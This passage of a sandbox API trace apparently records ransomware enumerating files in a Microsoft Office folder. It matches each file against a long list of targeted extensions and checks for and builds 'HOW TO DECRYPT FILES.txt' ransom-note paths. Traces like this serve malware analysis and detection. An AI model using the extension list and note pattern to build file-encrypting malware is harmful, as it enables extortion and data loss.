Extensions\\14\\BIN\\FPSRVUTL.DLL", pszSpec="*.xlsx") returned 0 [0059.728] lstrlenA (lpString="*.xlsx") returned 6 [0059.728] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\FPSRVUTL.DLL", pszSpec="*.xls") returned 0 [0059.728] lstrlenA (lpString="*.xls") returned 5 [0059.728] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\FPSRVUTL.DLL", pszSpec="*.mp4") returned 0 [0059.728] lstrlenA (lpString="*.mp4") returned 5 [0059.728] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\FPSRVUTL.DLL", pszSpec="*.ppt") returned 0 [0059.728] lstrlenA (lpString="*.ppt") returned 5 [0059.728] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\FPSRVUTL.DLL", pszSpec="*.pptx") returned 0 [0059.728] lstrlenA (lpString="*.pptx") returned 6 [0059.728] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\FPSRVUTL.DLL", pszSpec="*.doc") returned 0 [0059.728] lstrlenA (lpString="*.doc") returned 5 [0059.729] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\FPSRVUTL.DLL", pszSpec="*.dot") returned 0 [0059.729] lstrlenA (lpString="*.dot") returned 5 [0059.729] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\FPSRVUTL.DLL", pszSpec="*.docx") returned 0 [0059.729] lstrlenA (lpString="*.docx") returned 6 [0059.729] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\FPSRVUTL.DLL", pszSpec="*.7z") returned 0 [0059.729] lstrlenA (lpString="*.7z") returned 4 [0059.729] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\FPSRVUTL.DLL", pszSpec="*.tar") returned 0 [0059.729] lstrlenA (lpString="*.tar") returned 5 [0059.729] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\FPSRVUTL.DLL", pszSpec="*.bz2") returned 0 [0059.729] lstrlenA (lpString="*.bz2") returned 5 [0059.729] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\FPSRVUTL.DLL", pszSpec="*.gz") returned 0 [0059.729] lstrlenA (lpString="*.gz") returned 4 [0059.729] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\FPSRVUTL.DLL", pszSpec="*.mkv") returned 0 [0059.729] lstrlenA (lpString="*.mkv") returned 5 [0059.729] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\FPSRVUTL.DLL", pszSpec="*.eml") returned 0 [0059.729] lstrlenA (lpString="*.eml") returned 5 [0059.729] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\FPSRVUTL.DLL", pszSpec="*.msg") returned 0 [0059.729] lstrlenA (lpString="*.msg") returned 5 [0059.729] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\FPSRVUTL.DLL", pszSpec="*.edb") returned 0 [0059.729] lstrlenA (lpString="*.edb") returned 5 [0059.729] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\FPSRVUTL.DLL", pszSpec="*.accdb") returned 0 [0059.729] lstrlenA (lpString="*.accdb") returned 7 [0059.729] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\FPSRVUTL.DLL", pszSpec="*.odb") returned 0 [0059.729] lstrlenA (lpString="*.odb") returned 5 [0059.729] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\FPSRVUTL.DLL", pszSpec="*.java") returned 0 [0059.729] lstrlenA (lpString="*.java") returned 6 [0059.729] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\FPSRVUTL.DLL", pszSpec="*.asm") returned 0 [0059.730] lstrlenA (lpString="*.asm") returned 5 [0059.730] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\FPSRVUTL.DLL", pszSpec="*.pfx") returned 0 [0059.730] lstrlenA (lpString="*.pfx") returned 5 [0059.730] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\FPSRVUTL.DLL", pszSpec="*.pem") returned 0 [0059.730] lstrlenA (lpString="*.pem") returned 5 [0059.730] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\FPSRVUTL.DLL", pszSpec="*.p12") returned 0 [0059.730] lstrlenA (lpString="*.p12") returned 5 [0059.730] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\FPSRVUTL.DLL", pszSpec="*.gpg") returned 0 [0059.730] lstrlenA (lpString="*.gpg") returned 5 [0059.730] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\FPSRVUTL.DLL", pszSpec="*.vsd") returned 0 [0059.730] lstrlenA (lpString="*.vsd") returned 5 [0059.730] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\FPSRVUTL.DLL", pszSpec="*.odg") returned 0 [0059.730] lstrlenA (lpString="*.odg") returned 5 [0059.730] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\FPSRVUTL.DLL", pszSpec="*.raw") returned 0 [0059.730] lstrlenA (lpString="*.raw") returned 5 [0059.730] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\FPSRVUTL.DLL", pszSpec="*.nef") returned 0 [0059.730] lstrlenA (lpString="*.nef") returned 5 [0059.730] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\FPSRVUTL.DLL", pszSpec="*.svg") returned 0 [0059.730] lstrlenA (lpString="*.svg") returned 5 [0059.730] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\FPSRVUTL.DLL", pszSpec="*.psd") returned 0 [0059.730] lstrlenA (lpString="*.psd") returned 5 [0059.730] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\FPSRVUTL.DLL", pszSpec="*.vmx") returned 0 [0059.730] lstrlenA (lpString="*.vmx") returned 5 [0059.730] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\FPSRVUTL.DLL", pszSpec="*.vmdk") returned 0 [0059.730] lstrlenA (lpString="*.vmdk") returned 6 [0059.730] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\FPSRVUTL.DLL", pszSpec="*.vdi") returned 0 [0059.730] lstrlenA (lpString="*.vdi") returned 5 [0059.730] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\FPSRVUTL.DLL", pszSpec="*.lay6") returned 0 [0059.731] lstrlenA (lpString="*.lay6") returned 6 [0059.731] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\FPSRVUTL.DLL", pszSpec="*.mpeg") returned 0 [0059.731] lstrlenA (lpString="*.mpeg") returned 6 [0059.731] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\FPSRVUTL.DLL", pszSpec="*.djvu") returned 0 [0059.731] lstrlenA (lpString="*.djvu") returned 6 [0059.731] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\FPSRVUTL.DLL", pszSpec="*.tiff") returned 0 [0059.731] lstrlenA (lpString="*.tiff") returned 6 [0059.731] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\FPSRVUTL.DLL", pszSpec="*.backup") returned 0 [0059.731] lstrlenA (lpString="*.backup") returned 8 [0059.731] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\FPSRVUTL.DLL", pszSpec="*.pdf") returned 0 [0059.731] lstrlenA (lpString="*.pdf") returned 5 [0059.731] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\FPSRVUTL.DLL", pszSpec="*.cert") returned 0 [0059.731] lstrlenA (lpString="*.cert") returned 6 [0059.731] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\FPSRVUTL.DLL", pszSpec="*.docm") returned 0 [0059.731] lstrlenA (lpString="*.docm") returned 6 [0059.731] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\FPSRVUTL.DLL", pszSpec="*.xlsm") returned 0 [0059.731] lstrlenA (lpString="*.xlsm") returned 6 [0059.731] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\FPSRVUTL.DLL", pszSpec="*.dwg") returned 0 [0059.731] lstrlenA (lpString="*.dwg") returned 5 [0059.731] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\FPSRVUTL.DLL", pszSpec="*.nd") returned 0 [0059.731] lstrlenA (lpString="*.nd") returned 4 [0059.731] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\FPSRVUTL.DLL", pszSpec="*.tlg") returned 0 [0059.731] lstrlenA (lpString="*.tlg") returned 5 [0059.732] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\FPSRVUTL.DLL", pszSpec="*.lgb") returned 0 [0059.732] lstrlenA (lpString="*.lgb") returned 5 [0059.732] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\FPSRVUTL.DLL", pszSpec="*.mov") returned 0 [0059.732] lstrlenA (lpString="*.mov") returned 5 [0059.732] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\FPSRVUTL.DLL", pszSpec="*.xdw") returned 0 [0059.732] lstrlenA (lpString="*.xdw") returned 5 [0059.732] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\FPSRVUTL.DLL", pszSpec="*.ods") returned 0 [0059.732] lstrlenA (lpString="*.ods") returned 5 [0059.732] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\FPSRVUTL.DLL", pszSpec="*.wav") returned 0 [0059.732] lstrlenA (lpString="*.wav") returned 5 [0059.732] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\FPSRVUTL.DLL", pszSpec="*.mp3") returned 0 [0059.732] lstrlenA (lpString="*.mp3") returned 5 [0059.732] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\FPSRVUTL.DLL", pszSpec="*.aiff") returned 0 [0059.732] lstrlenA (lpString="*.aiff") returned 6 [0059.732] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\FPSRVUTL.DLL", pszSpec="*.flac") returned 0 [0059.732] lstrlenA (lpString="*.flac") returned 6 [0059.732] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\FPSRVUTL.DLL", pszSpec="*.m4a") returned 0 [0059.732] lstrlenA (lpString="*.m4a") returned 5 [0059.732] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\FPSRVUTL.DLL", pszSpec="*.csv") returned 0 [0059.732] lstrlenA (lpString="*.csv") returned 5 [0059.732] FindNextFileA (in: hFindFile=0x4f8118, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1da56400, ftCreationTime.dwHighDateTime=0x1cb71c7, ftLastAccessTime.dwLowDateTime=0xdb7fce60, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1da56400, ftLastWriteTime.dwHighDateTime=0x1cb71c7, nFileSizeHigh=0x0, nFileSizeLow=0x14cd90, dwReserved0=0x0, dwReserved1=0x4f8538, cFileName="FPWEC.DLL", cAlternateFileName="")) returned 1 [0059.732] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0059.732] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="FPWEC.DLL") returned -1 [0059.732] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="FPWEC.DLL") returned 1 [0059.732] lstrcmpiA (lpString1="", lpString2="FPWEC.DLL") returned -1 [0059.732] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\FPSRVUTL.DLL") returned="FPSRVUTL.DLL" [0059.732] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\" [0059.732] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\") returned="" [0059.732] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\HOW TO DECRYPT FILES.txt" [0059.733] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\web server extensions\\14\\bin\\how to decrypt files.txt")) returned 0x20 [0059.733] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\", lpString2="FPWEC.DLL" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\FPWEC.DLL") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\FPWEC.DLL" [0059.733] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\FPWEC.DLL", pszSpec="*.ems") returned 0 [0059.733] lstrlenA (lpString="*.ems") returned 5 [0059.733] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\FPWEC.DLL", pszSpec="*.db") returned 0 [0059.733] lstrlenA (lpString="*.db") returned 4 [0059.733] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\FPWEC.DLL", pszSpec="*.dbf") returned 0 [0059.733] lstrlenA (lpString="*.dbf") returned 5 [0059.733] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\FPWEC.DLL", pszSpec="*.myox") returned 0 [0059.733] lstrlenA (lpString="*.myox") returned 6 [0059.733] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\FPWEC.DLL", pszSpec="*.myo") returned 0 [0059.733] lstrlenA (lpString="*.myo") returned 5 [0059.733] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\FPWEC.DLL", pszSpec="*.qbw") returned 0 [0059.733] lstrlenA (lpString="*.qbw") returned 5 [0059.733] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\FPWEC.DLL", pszSpec="*.qbb") returned 0 [0059.733] lstrlenA (lpString="*.qbb") returned 5 [0059.733] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\FPWEC.DLL", pszSpec="*.qbm") returned 0 [0059.733] lstrlenA (lpString="*.qbm") returned 5 [0059.733] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\FPWEC.DLL", pszSpec="*.qbo") returned 0 [0059.733] lstrlenA (lpString="*.qbo") returned 5 [0059.733] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\FPWEC.DLL", pszSpec="*.qbx") returned 0 [0059.733] lstrlenA (lpString="*.qbx") returned 5 [0059.733] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\FPWEC.DLL", pszSpec="*.qba") returned 0 [0059.733] lstrlenA (lpString="*.qba") returned 5 [0059.733] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\FPWEC.DLL", pszSpec="*.qby") returned 0 [0059.733] lstrlenA (lpString="*.qby") returned 5 [0059.733] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\FPWEC.DLL", pszSpec="*.qbj") returned 0 [0059.733] lstrlenA (lpString="*.qbj") returned 5 [0059.733] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\FPWEC.DLL", pszSpec="*.ofx") returned 0 [0059.733] lstrlenA (lpString="*.ofx") returned 5 [0059.734] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\FPWEC.DLL", pszSpec="*.qif") returned 0 [0059.734] lstrlenA (lpString="*.qif") returned 5 [0059.734] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\FPWEC.DLL", pszSpec="*.mye") returned 0 [0059.734] lstrlenA (lpString="*.mye") returned 5 [0059.734] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\FPWEC.DLL", pszSpec="*.mbox") returned 0 [0059.734] lstrlenA (lpString="*.mbox") returned 6 [0059.734] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\FPWEC.DLL", pszSpec="*.eml") returned 0 [0059.734] lstrlenA (lpString="*.eml") returned 5 [0059.734] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\FPWEC.DLL", pszSpec="*.pst") returned 0 [0059.734] lstrlenA (lpString="*.pst") returned 5 [0059.734] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\FPWEC.DLL", pszSpec="*.ost") returned 0 [0059.734] lstrlenA (lpString="*.ost") returned 5 [0059.734] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\FPWEC.DLL", pszSpec="*.idx") returned 0 [0059.734] lstrlenA (lpString="*.idx") returned 5 [0059.734] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\FPWEC.DLL", pszSpec="*.dbx") returned 0 [0059.734] lstrlenA (lpString="*.dbx") returned 5 [0059.734] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\FPWEC.DLL", pszSpec="*.sql") returned 0 [0059.734] lstrlenA (lpString="*.sql") returned 5 [0059.734] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\FPWEC.DLL", pszSpec="*.mdb") returned 0 [0059.734] lstrlenA (lpString="*.mdb") returned 5 [0059.734] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\FPWEC.DLL", pszSpec="*.fdb") returned 0 [0059.734] lstrlenA (lpString="*.fdb") returned 5 [0059.734] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\FPWEC.DLL", pszSpec="*.wab") returned 0 [0059.734] lstrlenA (lpString="*.wab") returned 5 [0059.734] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\FPWEC.DLL", pszSpec="*.dat") returned 0 [0059.734] lstrlenA (lpString="*.dat") returned 5 [0059.734] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\FPWEC.DLL", pszSpec="*.txt") returned 0 [0059.734] lstrlenA (lpString="*.txt") returned 5 [0059.734] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\FPWEC.DLL", pszSpec="*.jpeg") returned 0 [0059.734] lstrlenA (lpString="*.jpeg") returned 6 [0059.734] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\FPWEC.DLL", pszSpec="*.jpg") returned 0 [0059.734] lstrlenA (lpString="*.jpg") returned 5 [0059.734] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\FPWEC.DLL", pszSpec="*.png") returned 0 [0059.735] lstrlenA (lpString="*.png") returned 5 [0059.735] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\FPWEC.DLL", pszSpec="*.php") returned 0 [0059.735] lstrlenA (lpString="*.php") returned 5 [0059.735] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\FPWEC.DLL", pszSpec="*.cs") returned 0 [0059.735] lstrlenA (lpString="*.cs") returned 4 [0059.735] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\FPWEC.DLL", pszSpec="*.cpp") returned 0 [0059.735] lstrlenA (lpString="*.cpp") returned 5 [0059.735] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\FPWEC.DLL", pszSpec="*.rar") returned 0 [0059.735] lstrlenA (lpString="*.rar") returned 5 [0059.735] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\FPWEC.DLL", pszSpec="*.zip") returned 0 [0059.735] lstrlenA (lpString="*.zip") returned 5 [0059.735] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\FPWEC.DLL", pszSpec="*.html") returned 0 [0059.735] lstrlenA (lpString="*.html") returned 6 [0059.735] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\FPWEC.DLL", pszSpec="*.htm") returned 0 [0059.735] lstrlenA (lpString="*.htm") returned 5 [0059.735] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\FPWEC.DLL", pszSpec="*.xlsx") returned 0 [0059.735] lstrlenA (lpString="*.xlsx") returned 6 [0059.735] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\FPWEC.DLL", pszSpec="*.xls") returned 0 [0059.735] lstrlenA (lpString="*.xls") returned 5 [0059.735] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\FPWEC.DLL", pszSpec="*.mp4") returned 0 [0059.735] lstrlenA (lpString="*.mp4") returned 5 [0059.735] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\FPWEC.DLL", pszSpec="*.ppt") returned 0 [0059.735] lstrlenA (lpString="*.ppt") returned 5 [0059.735] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\FPWEC.DLL", pszSpec="*.pptx") returned 0 [0059.735] lstrlenA (lpString="*.pptx") returned 6 [0059.735] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\FPWEC.DLL", pszSpec="*.doc") returned 0 [0059.735] lstrlenA (lpString="*.doc") returned 5 [0059.735] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\FPWEC.DLL", pszSpec="*.dot") returned 0 [0059.735] lstrlenA (lpString="*.dot") returned 5 [0059.735] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\FPWEC.DLL", pszSpec="*.docx") returned 0 [0059.735] lstrlenA (lpString="*.docx") returned 6 [0059.735] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\FPWEC.DLL", pszSpec="*.7z") returned 0 [0059.736] lstrlenA (lpString="*.7z") returned 4 [0059.736] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\FPWEC.DLL", pszSpec="*.tar") returned 0 [0059.736] lstrlenA (lpString="*.tar") returned 5 [0059.736] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\FPWEC.DLL", pszSpec="*.bz2") returned 0 [0059.736] lstrlenA (lpString="*.bz2") returned 5 [0059.736] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\FPWEC.DLL", pszSpec="*.gz") returned 0 [0059.736] lstrlenA (lpString="*.gz") returned 4 [0059.736] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\FPWEC.DLL", pszSpec="*.mkv") returned 0 [0059.736] lstrlenA (lpString="*.mkv") returned 5 [0059.736] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\FPWEC.DLL", pszSpec="*.eml") returned 0 [0059.736] lstrlenA (lpString="*.eml") returned 5 [0059.736] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\FPWEC.DLL", pszSpec="*.msg") returned 0 [0059.736] lstrlenA (lpString="*.msg") returned 5 [0059.736] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\FPWEC.DLL", pszSpec="*.edb") returned 0 [0059.736] lstrlenA (lpString="*.edb") returned 5 [0059.736] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\FPWEC.DLL", pszSpec="*.accdb") returned 0 [0059.736] lstrlenA (lpString="*.accdb") returned 7 [0059.736] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\FPWEC.DLL", pszSpec="*.odb") returned 0 [0059.736] lstrlenA (lpString="*.odb") returned 5 [0059.736] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\FPWEC.DLL", pszSpec="*.java") returned 0 [0059.736] lstrlenA (lpString="*.java") returned 6 [0059.736] 